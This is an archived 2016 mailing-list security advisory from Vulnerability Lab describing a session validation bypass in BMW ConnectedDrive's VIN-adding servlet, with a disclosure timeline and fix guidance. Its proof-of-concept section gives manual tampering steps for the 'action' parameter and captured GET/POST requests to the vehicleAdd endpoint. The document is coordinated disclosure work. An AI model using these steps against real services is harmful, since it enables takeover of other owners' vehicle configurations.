[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
BMW ConnectedDrive - (Update) VIN Session Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: BMW ConnectedDrive - (Update) VIN Session Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 8 Jul 2016 10:29:40 +0200
Document Title:
===============
BMW ConnectedDrive - (Update) VIN Session Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1736
Release Date:
=============
2016-07-07
Vulnerability Laboratory ID (VL-ID):
====================================
1736
Common Vulnerability Scoring System:
====================================
6
Product & Service Introduction:
===============================
Free to do what you really want. With the services & apps from BMW
ConnectedDrive, which connect you to everything that is
important to you. More comfort, the BMW ConnectedDrive driver assistance
systems - so you can concentrate on the essentials.
You have the choice: tour guide, entertainer or guardian angels - who will
accompany you on your ride, you decide.
(Copy of the Vendor Homepage:
http://www.bmw.de/de/topics/faszination-bmw/connecteddrive/ubersicht.html )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a session validation and
approval web vulnerability in the official BMW ConnectDrive web-application.
Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Benjamin Kunz Mejri -
Evolution Security GmbH)
2016-02-18: Vendor Notification (BMW Security Team)
2016-04-02: Vendor Response/Feedback (BMW Security Team)
2016-07-07: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
A session validation approval web vulnerability has been discovered in the
official BMW ConnectedDrive online service web-application.
The vulnerability allows remote attackers to manipulate specific configured
parameters to compromise the affected web-application service.
VIN := vehicle Identification Number
A vehicle identification number, commonly abbreviated to VIN, or chassis
number, is a unique code including a serial number, used by the
automotive industry to identify individual motor vehicles, towed vehicles,
motorcycles, scooters and mopeds as defined in ISO 3833.
The vulnerability is located in the session management of the VIN adding
procedure. Remote attackers are able to bypass the secure validation
approval of the VIN when processing to create it. Basically the validation does
not allow to add a non exisiting number to the interface
configuration to prevent different typ of errors or issues. In case of the
adding procedure the request approve via action - add the context.
Remote attackers are able to change with a live session tamper the action
information to create or update. Thus allows an attacker to bypass
the invalid VIN exception to add a new configuration finally. Thus interaction
results in the takeover of other vehicle identification numbers
to view or manipulate the configuration.
The security risk of the session validation vulnerability is estimated as high
with a cvss (common vulnerability scoring system) count of 6.0.
Exploitation of the session validation web vulnerability requires a low
privileged web-application user account and no user interaction.
Successful exploitation of the vulnerability results in a compromise of
registered or valid vehicle identification numbers via connecteddrive.
Request Method(s):
[+] POST/GET
Vulnerable Parameter(s):
[+] action
Affected Module(s):
[+] VIN - Konfiguration to Add/remove Vehicle
Proof of Concept (PoC):
=======================
The session validation web vulnerability can be exploited by remote attackers
without user interaction and with low privileged web-application user account.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Manual steps to reproduce the vulnerability ...
1. Open the web-application of bmw connecteddrive
(https://www.bmw-connecteddrive.co.uk/cdp/) and login
2. Surf to the My Settings module of the service
3. Start the session tamper and include a new random VIN
4. Save the requesst and manipulate in the session tamper the add value to
create
5. Continue to process the GET request after it
6. Now, the module opens and the restriction with the vehicle Identification
Number approval is bypassed
7. Now you can add your own VIN to the interface to create another car with the
same VIN
8. Successful reproduce of the web-application vulnerability that affects the
bmw car connecteddrive!
--- PoC Session Logs [GET] ---
Status: 200[OK]
GET
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicle?vin=
Load Flags[LOAD_NORMAL]
Größe des Inhalts[162022] Mime Type[image/png]
Request Header:
Host[www.bmw-connecteddrive.co.uk]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101
Firefox/44.0]
Accept[image/png,image/*;q=0.8,*/*;q=0.5]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Referer[https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd]
Cookie[locale=en_GB; CookieDisclaimer=true;
JSESSIONID=41144e45b60522b8dd926dc6a46f.1]
Connection[keep-alive]
Response Header:
Date[Thu, 18 Feb 2016 11:10:23 GMT]
Expires[Thu, 18 Feb 2016 11:11:23 GMT]
Cache-Control[PUBLIC, max-age=60]
Content-Type[image/png]
Content-Length[162022]
Set-Cookie[locale=en_GB; Expires=Fri, 17-Feb-2017 11:10:23 GMT
JSESSIONID=41144e45b60522b8dd926dc6a46f.1; Path=/cdp/release/internet; Secure;
HttpOnly]
Keep-Alive[timeout=5, max=98]
Connection[Keep-Alive]
-
12:10:34.756[347ms][total 464ms] Status: 200[OK]
POST
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Größe des Inhalts[-1] Mime Type[text/html]
Request Header:
Host[www.bmw-connecteddrive.co.uk]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101
Firefox/44.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate, br]
Referer[https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd]
Cookie[locale=en_GB; CookieDisclaimer=true;
JSESSIONID=41144e45b60522b8dd926dc6a46f.1]
Connection[keep-alive]
POST-Daten:
action[create]
vin[]
licenseplate[1337+%3B%29]
activMethod[agreement]
agb[View]
Response Header:
Date[Thu, 18 Feb 2016 11:10:40 GMT]
Content-Type[text/html;charset=UTF-8]
Set-Cookie[locale=en_GB; Expires=Fri, 17-Feb-2017 11:10:40 GMT
JSESSIONID=41144e45b60522b8dd926dc6a46f.1; Path=/cdp/release/internet; Secure;
HttpOnly]
Keep-Alive[timeout=5, max=100]
Connection[Keep-Alive]
Transfer-Encoding[chunked]
Reference(s):
https://www.bmw-connecteddrive.co.uk/
https://www.bmw-connecteddrive.co.uk/cdp/
https://www.bmw-connecteddrive.co.uk/cdp/release/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicle?vin=
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure approval of the action
create/update/add request in the `/cdp/release/internet/servlet/vehicleAdd`
module.
Setup a secure session validation that approves the request to deny
unauthorized activities with invalid, compromised or manipulated vehicle
identification numbers.
Security Risk:
==============
The security risk of the session validation and approval web vulnerability in
the bmw connectdrive web-application is estimated as high. (CVSS 6.0)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(research@xxxxxxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a
particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential
loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen
material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com
- www.evolution-sec.com
Contact: admin@xxxxxxxxxxxxxxxxxxxxx -
research@xxxxxxxxxxxxxxxxxxxxx - admin@xxxxxxxxxxxxxxxxx
Section: magazine.vulnerability-db.com -
vulnerability-lab.com/contact.php -
evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab
- youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php -
vulnerability-lab.com/rss/rss_upcoming.php -
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php -
vulnerability-lab.com/list-of-bug-bounty-programs.php -
vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All
other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts,
advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To
record, list (feed), modify, use or edit our material contact
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a
permission.
Copyright © 2016 | Vulnerability Laboratory -
[Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx